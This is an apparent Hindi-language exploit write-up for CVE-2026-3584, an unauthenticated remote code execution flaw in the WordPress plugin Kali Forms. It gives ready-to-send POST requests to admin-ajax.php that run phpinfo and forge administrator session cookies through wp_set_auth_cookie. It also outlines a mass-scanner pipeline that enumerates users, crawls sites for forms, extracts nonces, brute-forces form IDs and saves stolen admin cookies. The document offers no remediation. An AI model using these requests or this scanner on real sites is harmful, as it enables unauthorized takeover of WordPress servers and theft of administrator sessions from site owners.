
CVE-2026-3584
🔥 भेद्यता का सारांश
WordPress प्लगइन Kali Forms संस्करण <= 2.4.9 में एक गंभीर बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन (RCE) भेद्यता मौजूद है। यह दोष बिना प्रमाणीकरण के हमलावरों को सर्वर पर मनमाना PHP कोड निष्पादित करने और पूर्ण व्यवस्थापक विशेषाधिकार प्राप्त करने की अनुमति देता है, जो सार्वजनिक रूप से उजागर AJAX एंडपॉइंट kaliforms_form_process के माध्यम से होता है, जिसमें प्राधिकरण जांच नहीं है।
भेद्यता form_process फ़ंक्शन में निहित है जो उपयोगकर्ता-नियंत्रित पैरामीटर (जिसमें thisPermalink और entryCounter शामिल हैं) स्वीकार करता है और मनमाना PHP कॉलबैक निष्पादित करता है, जिसके परिणामस्वरूप:
phpinfo(), system(), eval() आदि के माध्यम सेwp_set_auth_cookie() के माध्यम से व्यवस्थापक सत्र प्राप्त करने के लिएभेद्यता Kali Forms प्लगइन के form_process फ़ंक्शन में प्रकट होती है जो AJAX अनुरोधों को संभालता है। भेद्य कोड इस प्रकार उजागर होता है:
// बिना प्रमाणीकरण के सुलभ AJAX एंडपॉइंट
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
एक्सप्लॉइट प्रवाह:
असुरक्षित एंडपॉइंट: एंडपॉइंट /wp-admin/admin-ajax.php?action=kaliforms_form_process wp_ajax_nopriv_ हुक के माध्यम से बिना प्रमाणीकरण के उपयोगकर्ताओं के लिए सुलभ है।
उपयोगकर्ता-नियंत्रित पैरामीटर:
data[thisPermalink] - इसमें मनमाना PHP फ़ंक्शन नाम हो सकता हैdata[entryCounter] - इसमें मनमाना PHP फ़ंक्शन नाम हो सकता हैdata[formId] - प्रक्रिया करने के लिए फ़ॉर्म का IDबिना फ़िल्टर के कॉलबैक निष्पादन: भेद्य कोड बिना सत्यापन के PHP कॉलबैक निष्पादित करता है:
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // कोई जांच नहीं!
एक्सप्लॉइट श्रृंखला:
हमलावर → POST अनुरोध → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
PHP कोड निष्पादन → phpinfo() निष्पादित
↓
entryCounter=wp_set_auth_cookie → व्यवस्थापक कुकी उत्पन्न
↓
पूर्ण व्यवस्थापक पहुंच
भेद्य अनुरोध का उदाहरण:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
परिणाम: सर्वर phpinfo() निष्पादित करता है और PHP कॉन्फ़िगरेशन के बारे में पूरी जानकारी लौटाता है।
विशेषाधिकार वृद्धि के लिए:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
परिणाम: WordPress wp_set_auth_cookie(user_id) निष्पादित करता है जहां user_id अक्सर formId से मेल खाता है, जिससे वैध व्यवस्थापक सत्र कुकी उत्पन्न होती है।
mass_scanner.py CVE-2026-3584 भेद्यता के पूर्ण शोषण के लिए 4-चरणीय स्वचालित पाइपलाइन लागू करता है:
┌─────────────────────────────────────────────────────────────────────────┐
│ मास स्कैनर पाइपलाइन │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ चरण 1: REST API पुनर्ज्ञान │
│ ├─ उपयोगकर्ता एनुमरेट करें: /wp-json/wp/v2/users │
│ └─ पोस्ट एनुमरेट करें: /wp-json/wp/v2/posts │
│ → विशेषाधिकार वृद्धि के लिए user_id और post_id पहचानें │
│ │
│ चरण 2: फ़ॉर्म खोज │
│ ├─ साइट क्रॉल करें (depth=2) │
│ ├─ पैटर्न खोजें: 'KaliFormsObject', 'kaliforms' │
│ ├─ JavaScript से nonce निकालें │
│ └─ HTML से formId निकालें │
│ → सभी भेद्य Kali Forms फ़ॉर्म खोजें │
│ │
│ चरण 3: RCE परीक्षण │
│ ├─ भेजें: data[thisPermalink]=phpinfo │
│ ├─ जांचें: प्रतिक्रिया में 'PHP Version' │
│ └─ सहेजें: result/target_phpinfo.html │
│ → दूरस्थ कोड निष्पादन की पुष्टि │
│ │
│ चरण 4: विशेषाधिकार वृद्धि │
│ ├─ भेजें: data[entryCounter]=wp_set_auth_cookie │
│ ├─ निकालें: wordpress_logged_in + wordpress_sec कुकी │
│ ├─ जांचें: /wp-admin/ तक पहुंच बिना रीडायरेक्ट के │
│ └─ सहेजें: result_cookie/target.txt │
│ → पूर्ण व्यवस्थापक पहुंच प्राप्त करें │
│ │
└─────────────────────────────────────────────────────────────────────────┘
1. स्वचालित URL सामान्यीकरण
def normalize_url(self, target):
# स्वचालित रूप से http:// या https:// जोड़ता है
# पहले HTTPS आज़माता है, फिर HTTP पर वापस आता है
# कस्टम पोर्ट संभालता है (जैसे :8080)
2. REST API एनुमरेशन
def enumerate_users_api(self, target):
# GET /wp-json/wp/v2/users
# सभी उपलब्ध user_id निकालता है
# formId → user_id मैप करने के लिए उपयोग किया जाता है
def enumerate_posts_api(self, target):
# GET /wp-json/wp/v2/posts
# सभी उपलब्ध post_id निकालता है
# user_id/post_id ओवरलैप पहचानता है
3. फ़ॉर्म खोज (बुद्धिमान क्रॉलिंग)
def discover_pages(self, target, max_depth=2):
# साइट का पुनरावर्ती क्रॉल
# JavaScript पैटर्न खोजें: 'KaliFormsObject'
# अनावश्यक URL फ़िल्टर करें (js, css, चित्र)
# केवल आंतरिक लिंक का अनुसरण करें
# Kali Forms वाले पृष्ठों की सूची लौटाता है
4. फ़ॉर्म डेटा निष्कर्षण
def extract_form_data(self, page_url):
# JavaScript से nonce निकालें:
# KaliFormsObject = { ajax_nonce: "abc123" }
# HTML से formId निकालें:
# data-id="1" या [kaliform id="1"]
# यदि nonce मिला लेकिन formId नहीं:
# ID 1-10 का ब्रूट फ़ोर्स
5. RCE परीक्षण
def test_rce(self, target, form_id, nonce):
# POST /wp-admin/admin-ajax.php
# पेलोड: data[thisPermalink]=phpinfo
# जांचें: len(response) > 10000 और 'PHP Version' मौजूद
# विश्लेषण के लिए पूर्ण HTML सहेजें
6. विशेषाधिकार वृद्धि परीक्षण
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
# बुद्धिमान रणनीति:
# 1. user_id/post_id ओवरलैप खोजें
# 2. पहले उच्च सफलता संभावना वाले ID का परीक्षण करें
# 3. सामान्य ID पर वापस जाएं: 1,2,3,4,5